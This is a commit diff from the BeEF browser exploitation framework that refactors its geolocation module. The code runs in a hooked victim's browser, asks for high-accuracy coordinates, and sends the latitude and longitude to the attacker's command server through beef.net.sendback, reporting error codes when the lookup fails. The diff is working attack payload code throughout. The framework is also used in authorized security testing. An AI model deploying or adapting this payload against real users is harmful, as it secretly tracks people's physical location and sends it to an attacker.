updated physical location code

git-svn-id: https://beef.googlecode.com/svn/trunk@524 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
wade@bindshell.net
2010-11-14 17:36:25 +00:00
parent e8ea9008f2
commit 31ebef8693
2 changed files with 39 additions and 25 deletions

View File

@@ -9,35 +9,47 @@ beef.geolocation = {
* check if browser supports the geolocation API
*/
isGeolocationEnabled: function(){
var isEnabled = false;
if (navigator.geolocation) {
isEnabled = true;
}
return isEnabled;
return !!navigator.geolocation;
},
/*
* retrieve latitude/longitude using the geolocation API
*/
getVictimGeolocation: function (command_url, command_id){
//var result = null;
getGeolocation: function (command_url, command_id){
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(
function(position){ //note: this is an async call
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude);
if (!navigator.geolocation) {
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
return;
}
navigator.geolocation.getCurrentPosition( //note: this is an async call
function(position){ // success
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude + "&geoLocEnabled=True");
}, function(position){
beef.net.sendback(command_url, command_id, "latitude=ERROR&longitude=ERROR");
});
} else {
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED");
}
}, function(error){ // failure
switch(error.code) // Returns 0-3
{
case 0:
beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
return;
case 1:
beef.net.sendback(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
return;
case 2:
beef.net.sendback(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
return;
case 3:
beef.net.sendback(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
return;
}
beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
},
{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
);
}
}
beef.regCmp('beef.geolocation');

View File

@@ -1,9 +1,11 @@
beef.execute(function() {
if(beef.geolocation.isGeolocationEnabled()){
beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>);
}else{
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude=");
if(!beef.geolocation.isGeolocationEnabled()){
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude=");
return;
}
beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>);
});